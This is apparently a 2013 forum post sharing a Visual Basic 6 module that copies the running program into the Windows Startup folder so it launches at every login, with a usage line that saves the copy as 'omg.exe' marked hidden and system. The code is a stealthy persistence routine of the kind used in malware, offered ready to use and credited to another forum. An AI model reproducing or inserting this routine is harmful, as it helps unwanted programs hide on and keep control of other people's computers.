Mar Mar 26, 2013 10:52 am
- Código:
Option Explicit
'-----------------------------------------------------------------------------
' Module : mAddStartup.bas
' Author : iCode
' Published : 01/17/13
' Credits : N/A
' Purpose : Add file to startup folder (local user)
' Compile : P-Code or Native Code
' OS Support : 2K, XP, 2K3, Vista, 7, 8 (x86 + x64)
'-----------------------------------------------------------------------------
Private Const Win2K_XP_2K3 As String = "\Start Menu\Programs\Startup\"
Private Const WinVista_7_8 As String = "\Microsoft\Windows\Start Menu\Programs\Startup\"
'KERNEL32
Private Declare Function GetVersionExW Lib "KERNEL32" (lpVersionInformation As Long) As Long
Public Function AddStartup(ByVal strFileName As String, Optional ByVal tAttributes As VbFileAttribute) As Boolean
On Error GoTo Func_Error
Dim strOS As String
Dim strPath As String
' Current operating system
strOS = GetOS
' Determine startup folder path
If strOS = "2K" Or strOS = "XP" Or strOS = "Server 2K3" Then
strPath = Environ$("UserProfile") & Win2K_XP_2K3
ElseIf strOS = "Vista" Or strOS = "7" Or strOS = "8" Then
strPath = Environ$("AppData") & WinVista_7_8
End If
' Copy local file to startup folder
FileCopy App.Path & "\" & App.EXEName & ".exe", strPath & strFileName
' Check for (un)successful copy
AddStartup = FileExists(strPath & strFileName)
If AddStartup = False Then Exit Function
' Apply attributes if specified
If tAttributes <> 0 Then SetAttr strPath & strFileName, tAttributes
Func_Error:
' Error copying file to startup folder
End Function
Private Function FileExists(ByVal strFilePath As String) As Boolean
FileExists = (Dir$(strFilePath) <> vbNullString)
End Function
Private Function GetOS() As String
Dim tOS(68) As Long
tOS(0) = &H114
GetVersionExW tOS(0)
Select Case tOS(4) & "." & tOS(1) & "." & tOS(2)
Case "2.5.0": GetOS = "2K"
Case "2.5.1": GetOS = "XP"
Case "2.5.2": GetOS = "Server 2K3"
Case "2.6.0": GetOS = "Vista"
Case "2.6.1": GetOS = "7"
Case "2.6.2": GetOS = "8"
Case Else: GetOS = ""
End Select
End Function
'Forma de uso
- Código:
Call AddStartup("omg.exe", vbHidden + vbSystem)
FUENTE: HH